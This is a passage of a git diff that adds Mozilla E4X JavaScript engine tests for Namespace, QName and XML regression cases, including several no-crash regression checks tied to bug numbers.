+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-444608-02.js';
+
+var summary = '13.2 Namespaces - call constructors directly';
+var BUGNUMBER = 444608;
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+var x = <xml/>;
+Namespace = function() { return 10; };
+x.removeNamespace("x");
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Namespace/regress-444608.js b/e4x/Namespace/regress-444608.js
new file mode 100755
index 0000000..32b058a
--- /dev/null
+++ b/e4x/Namespace/regress-444608.js
@@ -0,0 +1,55 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2008
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Igor Bukanov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-444608.js';
+
+var summary = '13.2 Namespaces - call constructors directly';
+var BUGNUMBER = 444608;
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+var x = <xml/>;
+Namespace = function() { return 10; };
+x.addNamespace("x");
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Namespace/shell.js b/e4x/Namespace/shell.js
new file mode 100644
index 0000000..67a7786
--- /dev/null
+++ b/e4x/Namespace/shell.js
@@ -0,0 +1 @@
+gTestsubsuite = 'Namespace';
diff --git a/e4x/QName/13.3.1.js b/e4x/QName/13.3.1.js
new file mode 100644
index 0000000..1e97ae1
--- /dev/null
+++ b/e4x/QName/13.3.1.js
@@ -0,0 +1,75 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+ *
+ * ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is Rhino code, released
+ * May 6, 1999.
+ *
+ * The Initial Developer of the Original Code is
+ * Netscape Communications Corporation.
+ * Portions created by the Initial Developer are Copyright (C) 1997-2000
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * Igor Bukanov
+ * Ethan Hugg
+ * Milen Nankov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = '13.3.1.js';
+
+START("13.3.1 - QName Constructor as a Function");
+
+q = QName("foobar");
+p = new QName("foobar");
+TEST(1, typeof(p), typeof(q));
+TEST(2, p.localName, q.localName);
+TEST(3, p.uri, q.uri);
+
+q = QName("http://foobar/", "foobar");
+p = new QName("http://foobar/", "foobar");
+TEST(4, typeof(p), typeof(q));
+TEST(5, p.localName, q.localName);
+TEST(6, p.uri, q.uri);
+
+p1 = QName(q);
+p2 = new QName(q);
+TEST(7, typeof(p2), typeof(p1));
+TEST(8, p2.localName, p1.localName);
+TEST(9, p2.uri, p1.uri);
+
+n = new Namespace("http://foobar/");
+q = QName(n, "foobar");
+p = QName(n, "foobar");
+TEST(10, typeof(p), typeof(q));
+TEST(11, p.localName, q.localName);
+TEST(12, p.uri, q.uri);
+
+p = QName(q);
+TEST(13, p, q);
+
+END();
\ No newline at end of file
diff --git a/e4x/QName/13.3.2.js b/e4x/QName/13.3.2.js
new file mode 100644
index 0000000..ec02910
--- /dev/null
+++ b/e4x/QName/13.3.2.js
@@ -0,0 +1,87 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+ *
+ * ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is Rhino code, released
+ * May 6, 1999.
+ *
+ * The Initial Developer of the Original Code is
+ * Netscape Communications Corporation.
+ * Portions created by the Initial Developer are Copyright (C) 1997-2000
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * Igor Bukanov
+ * Ethan Hugg
+ * Milen Nankov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = '13.3.2.js';
+
+START("13.3.2 - QName Constructor");
+
+q = new QName("*");
+TEST(1, "object", typeof(q));
+TEST(2, "*", q.localName);
+TEST(3, null, q.uri);
+TEST(4, "*::*", q.toString());
+
+// Default namespace
+q = new QName("foobar");
+TEST(5, "object", typeof(q));
+TEST(6, "foobar", q.localName);
+TEST(7, "", q.uri);
+TEST(8, "foobar", q.toString());
+
+q = new QName("http://foobar/", "foobar");
+TEST(9, "object", typeof(q));
+TEST(10, "foobar", q.localName);
+TEST(11, "http://foobar/", q.uri);
+TEST(12, "http://foobar/::foobar", q.toString());
+
+p = new QName(q);
+TEST(13, typeof(p), typeof(q));
+TEST(14, q.localName, p.localName);
+TEST(15, q.uri, p.uri);
+
+n = new Namespace("http://foobar/");
+q = new QName(n, "foobar");
+TEST(16, "object", typeof(q));
+
+q = new QName(null);
+TEST(17, "object", typeof(q));
+TEST(18, "null", q.localName);
+TEST(19, "", q.uri);
+TEST(20, "null", q.toString());
+
+q = new QName(null, null);
+TEST(21, "object", typeof(q));
+TEST(22, "null", q.localName);
+TEST(23, null, q.uri);
+TEST(24, "*::null", q.toString());
+
+END();
\ No newline at end of file
diff --git a/e4x/QName/13.3.5.js b/e4x/QName/13.3.5.js
new file mode 100644
index 0000000..73408e8
--- /dev/null
+++ b/e4x/QName/13.3.5.js
@@ -0,0 +1,67 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+ *
+ * ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is Rhino code, released
+ * May 6, 1999.
+ *
+ * The Initial Developer of the Original Code is
+ * Netscape Communications Corporation.
+ * Portions created by the Initial Developer are Copyright (C) 1997-2000
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * Igor Bukanov
+ * Ethan Hugg
+ * Milen Nankov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = '13.3.5.js';
+
+START("13.3.5 - Properties of QName Instances");
+
+q = new QName("http://someuri", "foo");
+TEST(1, true, q.hasOwnProperty("localName"));
+TEST(2, true, q.hasOwnProperty("uri"));
+TEST(3, true, q.propertyIsEnumerable("localName"));
+TEST(4, true, q.propertyIsEnumerable("uri"));
+
+var localNameCount = 0;
+var uriCount = 0;
+var p;
+for(p in q)
+{
+ if(p == "localName") localNameCount++;
+ if(p == "uri") uriCount++;
+}
+
+TEST(5, 1, localNameCount);
+TEST(6, 1, uriCount);
+TEST(7, "http://someuri", q.uri);
+TEST(8, "foo", q.localName);
+
+END();
diff --git a/e4x/QName/browser.js b/e4x/QName/browser.js
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/e4x/QName/browser.js
diff --git a/e4x/QName/regress-373595-01.js b/e4x/QName/regress-373595-01.js
new file mode 100755
index 0000000..51304d5
--- /dev/null
+++ b/e4x/QName/regress-373595-01.js
@@ -0,0 +1,53 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2007
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Jesse Ruderman
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-373595-01.js';
+
+var summary = '13.3 QName Objects - Do not assert: op == JSOP_ADD';
+var BUGNUMBER = 373595;
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+"" + (function () { return 1 / 2 .. y; });
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/QName/regress-373595-02.js b/e4x/QName/regress-373595-02.js
new file mode 100755
index 0000000..bb04f3c
--- /dev/null
+++ b/e4x/QName/regress-373595-02.js
@@ -0,0 +1,55 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2007
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Jesse Ruderman
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-373595-02.js';
+
+var summary = '13.3 QName Objects - Do not assert: op == JSOP_ADD';
+var BUGNUMBER = 373595;
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+print('This testcase does not reproduce the original issue');
+
+"" + (function () { x %= y.@foo; const x;})
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/QName/regress-373595-03.js b/e4x/QName/regress-373595-03.js
new file mode 100755
index 0000000..7234488
--- /dev/null
+++ b/e4x/QName/regress-373595-03.js
@@ -0,0 +1,55 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2007
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Jesse Ruderman
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-373595-03.js';
+
+var summary = '13.3 QName Objects - Do not assert: op == JSOP_ADD';
+var BUGNUMBER = 373595;
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+print('This testcase does not reproduce the original issue');
+
+"" + (function () { x.@foo < 1;});
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/QName/regress-444608.js b/e4x/QName/regress-444608.js
new file mode 100755
index 0000000..8818c28
--- /dev/null
+++ b/e4x/QName/regress-444608.js
@@ -0,0 +1,56 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2008
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Igor Bukanov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-444608.js';
+
+var summary = '13.3 QNames - call constructors directly';
+var BUGNUMBER = 444608;
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+
+var x = <a><b/></a>;
+QName = function() { return 10; };
+x.replace("b", 10);
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/QName/shell.js b/e4x/QName/shell.js
new file mode 100644
index 0000000..6bcad1f
--- /dev/null
+++ b/e4x/QName/shell.js
@@ -0,0 +1 @@
+gTestsubsuite = 'QName';
diff --git a/e4x/Regress/browser.js b/e4x/Regress/browser.js
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/e4x/Regress/browser.js
diff --git a/e4x/Regress/regress-257679.js b/e4x/Regress/regress-257679.js
new file mode 100644
index 0000000..12074f0
--- /dev/null
+++ b/e4x/Regress/regress-257679.js
@@ -0,0 +1,52 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+ *
+ * ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is Rhino code, released
+ * May 6, 1999.
+ *
+ * The Initial Developer of the Original Code is
+ * Netscape Communications Corporation.
+ * Portions created by the Initial Developer are Copyright (C) 1997-2000
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * Igor Bukanov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-257679.js';
+
+START("Standalone <![CDATA[ .... ]]> should be allowed");
+printBugNumber(257679);
+
+var x = <![CDATA[ < some & > arbitrary text ]]>;
+
+var expected = new XML("<![CDATA[ < some & > arbitrary text ]]>");
+
+TEST(1, expected, x);
+
+END();
diff --git a/e4x/Regress/regress-263934.js b/e4x/Regress/regress-263934.js
new file mode 100644
index 0000000..0904c3a
--- /dev/null
+++ b/e4x/Regress/regress-263934.js
@@ -0,0 +1,66 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+ *
+ * ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is Rhino code, released
+ * May 6, 1999.
+ *
+ * The Initial Developer of the Original Code is
+ * Netscape Communications Corporation.
+ * Portions created by the Initial Developer are Copyright (C) 1997-2000
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * Igor Bukanov
+ * John Schneider
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-263934.js';
+
+START("Testing that replacing a list item with a new list that contains that item works");
+printBugNumber(263934);
+
+var x =
+<x>
+ <b>two</b>
+ <b>three</b>
+</x>;
+
+// insert <a> element in from of first <b> element
+x.b[0] = <a>one</a> + x.b[0];
+
+var expected =
+<x>
+ <a>one</a>
+ <b>two</b>
+ <b>three</b>
+</x>;
+
+
+TEST(1, expected, x);
+
+END();
\ No newline at end of file
diff --git a/e4x/Regress/regress-263935.js b/e4x/Regress/regress-263935.js
new file mode 100644
index 0000000..e1df8c6
--- /dev/null
+++ b/e4x/Regress/regress-263935.js
@@ -0,0 +1,67 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+ *
+ * ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is Rhino code, released
+ * May 6, 1999.
+ *
+ * The Initial Developer of the Original Code is
+ * Netscape Communications Corporation.
+ * Portions created by the Initial Developer are Copyright (C) 1997-2000
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * Igor Bukanov
+ * John Schneider
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-263935.js';
+
+START("Qualified names specifying all names in no namespace should only match names without namespaces");
+printBugNumber(263935);
+
+var ns1 = new Namespace("http://www.ns1.com");
+var ns2 = new Namespace("http://www.ns2.com");
+var none = new Namespace();
+
+var x = <x/>
+x.foo = "one";
+x.ns1::foo = "two";
+x.ns2::foo = "three";
+x.bar = "four";
+
+var actual = x.none::*;
+
+var expected =
+<>
+ <foo>one</foo>
+ <bar>four</bar>
+</>
+
+TEST(1, expected, actual);
+
+END();
\ No newline at end of file
diff --git a/e4x/Regress/regress-263936.js b/e4x/Regress/regress-263936.js
new file mode 100644
index 0000000..59a0bf7
--- /dev/null
+++ b/e4x/Regress/regress-263936.js
@@ -0,0 +1,65 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+ *
+ * ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is Rhino code, released
+ * May 6, 1999.
+ *
+ * The Initial Developer of the Original Code is
+ * Netscape Communications Corporation.
+ * Portions created by the Initial Developer are Copyright (C) 1997-2000
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * Igor Bukanov
+ * John Schneider
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-263936.js';
+
+START("Testing replacing an element with a list that contains a text node");
+printBugNumber(263936);
+
+var x =
+<x>
+ <a>one</a>
+ <b>three</b>
+</x>;
+
+// insert a text node "two" between elements <a> and <b>
+x.a += XML("two");
+
+var expected =
+<x>
+ <a>one</a>
+ two
+ <b>three</b>
+</x>;
+
+TEST(1, expected, x);
+
+END();
\ No newline at end of file
diff --git a/e4x/Regress/regress-264369.js b/e4x/Regress/regress-264369.js
new file mode 100644
index 0000000..541a643
--- /dev/null
+++ b/e4x/Regress/regress-264369.js
@@ -0,0 +1,53 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+ *
+ * ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is Rhino code, released
+ * May 6, 1999.
+ *
+ * The Initial Developer of the Original Code is
+ * Netscape Communications Corporation.
+ * Portions created by the Initial Developer are Copyright (C) 1997-2000
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * Igor Bukanov
+ * John Schneider
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
